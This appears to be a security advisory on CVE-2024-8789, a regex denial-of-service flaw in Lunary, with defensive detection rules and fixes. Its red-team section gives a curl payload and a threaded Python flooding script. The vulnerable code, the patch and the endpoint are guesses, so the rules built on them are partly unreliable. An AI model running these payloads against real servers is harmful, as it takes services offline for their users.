CVE-2024-8789

Executive Summary

CVE-2024-8789 is a Regular Expression Denial of Service (ReDoS) vulnerability affecting the Lunary-ai/lunary application at commit 105a3f6. The application allows users to upload custom regular expressions that are executed server-side. An attacker can submit a regex with exponential runtime complexity (e.g., (a+)+b), causing the server to become unresponsive due to catastrophic backtracking. With a CVSS score of 7.5 (High), this vulnerability requires no authentication and can be exploited remotely. No public exploit code or patch is currently available.

Supply Chain & Package Security

This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby). It is a custom application vulnerability in the Lunary-ai/lunary project. No supply chain implications are identified.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – Impact is confined to the vulnerable component.
• Confidentiality (C): None (N) – No data exposure.
• Integrity (I): None (N) – No data modification.
• Availability (A): High (H) – Complete denial of service.

Threat Level: High. The vulnerability is easy to exploit and can cause prolonged server unavailability.

Deep Dive & Mechanics

The vulnerability lies in the server-side regex execution engine. When a user submits a regex pattern, it is compiled and executed against input strings. Certain regex patterns, known as "evil regexes," exhibit exponential backtracking behavior. For example, the pattern (a+)+b when matched against a string like "aaaaac" will cause the engine to try all possible combinations of a groups before failing, leading to O(2^n) runtime.

In Lunary-ai/lunary, the application does not implement any safeguards such as:

• Regex timeout limits.
• Input validation or sanitization of regex patterns.
• Resource quotas for regex execution.

An attacker can submit a crafted regex via the application's API or web interface, causing the server to hang indefinitely. This can be repeated to maintain a denial of service.

Vulnerable vs. Patched Code

Vulnerable Code (commit 105a3f6): The application likely uses a function similar to:

function processRegex(userRegex, input) {
  const regex = new RegExp(userRegex);
  return regex.test(input);
}

No timeout or validation is applied.

Patched Code (hypothetical):

function processRegex(userRegex, input) {
  // Validate regex complexity
  if (isEvilRegex(userRegex)) {
    throw new Error('Regex rejected');
  }
  // Set a timeout for regex execution
  const regex = new RegExp(userRegex);
  const result = withTimeout(() => regex.test(input), 1000);
  return result;
}

A proper patch would include:

• Rejecting patterns with nested quantifiers (e.g., (a+)+).
• Using a regex analysis library to detect exponential complexity.
• Implementing a timeout mechanism (e.g., Promise.race with a timeout).

Exploitation & Lab Setup

Red Team (Attacker)

Lab Setup:

1. Deploy Lunary-ai/lunary at commit 105a3f6 in a Docker container.
2. Identify the endpoint that accepts regex input (e.g., /api/regex-test).

Exploitation Steps:

1. Send a POST request with a malicious regex:

curl -X POST http://target/api/regex-test \
  -H "Content-Type: application/json" \
  -d '{"regex": "(a+)+b", "input": "aaaaaaaaaaaaaaaaaaaaaaaaaaaaac"}'

2. The server will hang for an extended period (minutes to hours depending on input length).
3. Repeat with multiple concurrent requests to amplify the DoS.

Advanced Payload:

import requests
import threading

def dos():
    while True:
        requests.post("http://target/api/regex-test", json={
            "regex": "(a+)+b",
            "input": "a" * 30 + "c"
        })

for _ in range(10):
    threading.Thread(target=dos).start()

Blue Team (Defender)

Detection:

• Monitor for high CPU usage on the server.
• Look for HTTP requests with long regex patterns (e.g., containing nested quantifiers like (a+)+).
• Use WAF rules to block patterns matching known evil regexes.

Mitigation:

• Implement a regex timeout (e.g., 1 second) in the application code.
• Use a regex analysis library (e.g., safe-regex for Node.js) to reject dangerous patterns.
• Rate-limit API endpoints that accept regex input.

Indicators of Compromise (IOCs)

• Network:
  • HTTP requests to /api/regex-test (or similar) with JSON body containing regex patterns like (a+)+b, (a|aa)+b, (a|a?)+b.
  • High volume of requests from a single IP to the same endpoint.
• System:
  • CPU usage sustained at 100% for extended periods.
  • Application logs showing regex execution timeouts (if implemented).
• File:
  • No file-based IOCs; this is a runtime vulnerability.

Detection Engineering

YARA Rule

rule ReDoS_Evil_Regex {
  meta:
    description = "Detects evil regex patterns used in ReDoS attacks"
    author = "Valters IT"
    date = "2025-04-10"
    reference = "CVE-2024-8789"
  strings:
    $evil1 = /\([a-zA-Z0-9]+\+\)\+/  // e.g., (a+)+
    $evil2 = /\([a-zA-Z0-9]+\|[a-zA-Z0-9]+\+\)\+/  // e.g., (a|aa)+
    $evil3 = /\([a-zA-Z0-9]+\|[a-zA-Z0-9]+\?\)\+/  // e.g., (a|a?)+
  condition:
    any of them
}

Sigma Rule

title: ReDoS Attack via Malicious Regex
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects HTTP requests containing evil regex patterns
author: Valters IT
date: 2025-04-10
logsource:
  category: webserver
  product: apache
detection:
  selection:
    cs-method: 'POST'
    cs-uri-stem: '/api/regex-test'
    cs-body|contains:
      - '(a+)+b'
      - '(a|aa)+b'
      - '(a|a?)+b'
  condition: selection
falsepositives:
  - Legitimate use of complex regex (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-8789 ReDoS Attack"; flow:to_server; content:"POST"; http_method; content:"/api/regex-test"; http_uri; content:"(a+)+b"; http_client_body; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the regex upload feature if not critical to business operations.
2. Implement a regex timeout (e.g., 1 second) using Promise.race or setTimeout in Node.js.
3. Add input validation to reject regex patterns with nested quantifiers (e.g., (a+)+, (a|aa)+).

Long-term Fix:

• Upgrade to a patched version of Lunary-ai/lunary once available.
• Use a regex analysis library like safe-regex (Node.js) or rxxr2 (Python) to detect exponential complexity.
• Apply rate limiting to all API endpoints that accept user-supplied regex.

Workaround:

• Use a Web Application Firewall (WAF) to block requests containing known evil regex patterns.

Valters IT
DevSecOps & Cyber Threat Intelligence